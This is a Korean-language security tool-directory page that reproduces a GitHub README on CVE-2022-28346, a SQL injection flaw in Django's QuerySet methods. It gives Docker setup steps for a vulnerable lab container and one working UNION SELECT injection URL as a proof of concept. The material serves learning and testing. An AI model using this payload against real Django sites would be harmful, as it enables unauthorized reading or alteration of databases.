Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-28346 — Django 패키지에서 SQL 주입으로 이어지는 결함이 발견되었습니다. 이 결함은 악성 SQL 쿼리가 포함된 조작된 딕셔너리를 사용하는 공격자가 데이터베이스를 완전히 손상시킬 수 있도록 합니다. | Kitploit
도구/GitHubGitHub/kamal-marouane/cve-2022-28346
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationDatabase SecurityLabs & Practice
GitHubkamal-marouane/cve-2022-28346

CVE-2022-28346

Django 패키지에서 SQL 주입으로 이어지는 결함이 발견되었습니다. 이 결함은 악성 SQL 쿼리가 포함된 조작된 딕셔너리를 사용하는 공격자가 데이터베이스를 완전히 손상시킬 수 있도록 합니다.

저장소 보기
1122년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-28346

Django 패키지에서 발견된 결함으로, SQL 인젝션으로 이어집니다. 이 결함으로 인해 공격자는 악성 SQL 쿼리가 포함된 조작된 딕셔너리를 사용하여 데이터베이스를 완전히 손상시킬 수 있습니다.

목차

  • CVE-2022-28346
    • 설명
    • 환경
    • 개념 증명 및 익스플로잇
    • 참고 자료

위 코드 저장소에서 CVE-2022-28346에 대한 상세 분석 보고서(PDF)를 찾을 수 있습니다.

설명

CVE-2022-28346은 인기 있는 Python 웹 프레임워크인 Django의 여러 버전에서 확인된 심각한 취약점입니다. 이 취약점은 특히 Django 2.2 2.2.28 미만, 3.2 3.2.13 미만, 4.0 4.0.4 미만 버전에 영향을 미칩니다.

문제의 핵심은 Django의 QuerySet.annotate(), aggregate(), extra() 메서드에 있습니다. 이러한 메서드는 전달된 **kwargs로 열 별칭이 조작된 딕셔너리(딕셔너리 확장 포함)와 함께 사용될 때 SQL 인젝션 공격에 취약합니다. SQL 인젝션은 공격자가 애플리케이션이 데이터베이스에 만드는 쿼리를 간섭할 수 있게 하는 공격 유형입니다. 이를 사용하여 공격자는 일반적으로 검색할 수 없는 데이터(다른 사용자의 데이터 또는 애플리케이션 자체가 액세스할 수 있는 모든 데이터)를 볼 수 있습니다. 경우에 따라 공격자는 이 데이터를 수정하거나 삭제하여 데이터 무결성에 영향을 미칠 수 있습니다.

환경

이 취약점을 철저히 테스트하려면 하드 디스크에 충분한 여유 공간이 있는지 확인하십시오. 취약점 테스트를 성공적으로 수행하려면 최소 1.2GB가 필요합니다.

이미 Docker가 설치되어 있다면 이 섹션을 건너뛰고 다음 지침으로 바로 진행할 수 있습니다.

이 취약점 테스트를 시작하려면 Docker를 설치하십시오.

  • Linux 환경에 Docker 설치
  • Windows 환경에 Docker 설치

다음 단계로 이동하기 전에 Docker가 작동 중인지 확인하십시오.

문제가 발생하거나 단계에 대한 설명이 필요한 경우 언제든지 이메일로 연락 주십시오. 도움을 드리겠습니다.

터미널에서 다음 명령을 실행하여 우리가 생성하여 DockerHub에 푸시한 Docker 이미지를 가져옵니다.

root@kitploit:~
sudo docker pull marouanekamal/cve-2022-28346:latest


Docker 이미지 풀링이 완료될 때까지 기다리십시오. 문제가 발생하면 인터넷 연결 때문일 수 있습니다. 안정적이고 활성화된 연결이 있는지 확인하십시오.

설치가 끝난 후 다음 명령을 실행하여 이미지가 존재하는지 확인하십시오.

root@kitploit:~
sudo docker images


이제 다음 명령을 사용하여 Docker 이미지를 실행할 수 있습니다.

root@kitploit:~
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest


이제 서버가 실행 중이며 이 CVE를 익스플로잇할 수 있습니다. ;)

개념 증명 및 익스플로잇

Docker 이미지를 실행한 후 다음 링크로 이동하여 URL에 접근할 수 있는지 확인하십시오.

root@kitploit:~
http://0.0.0.0:8000/


ok라는 단어가 표시되면 URL에 접근 가능하고 모든 것이 정상적으로 작동 중임을 의미합니다!

이제 SQL 인젝션을 사용하여 이 취약점을 공격해 보겠습니다. 다음 URL을 입력하십시오.

root@kitploit:~
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --


서버에서 사용하는 SQLite 버전을 확인할 수 있었습니다. ;)

참고 자료

  • https://mocusez.site/posts/a3ce.html
  • https://blog.csdn.net/weixin_46944519/article/details/128496498
  • https://www.cvedetails.com/cve/CVE-2022-28346/?q=CVE-2022-28346
  • https://avd.aquasec.com/nvd/2022/cve-2022-28346/
  • https://cyber.vumetric.com/vulns/CVE-2022-28346/sql-injection-vulnerability-in-multiple-products/
  • https://www.suse.com/security/cve/CVE-2022-28346.html
  • https://docs.djangoproject.com/en/4.0/releases/security/
  • https://www.freebuf.com/vuls/332893.html


[email protected]

도구 다운로드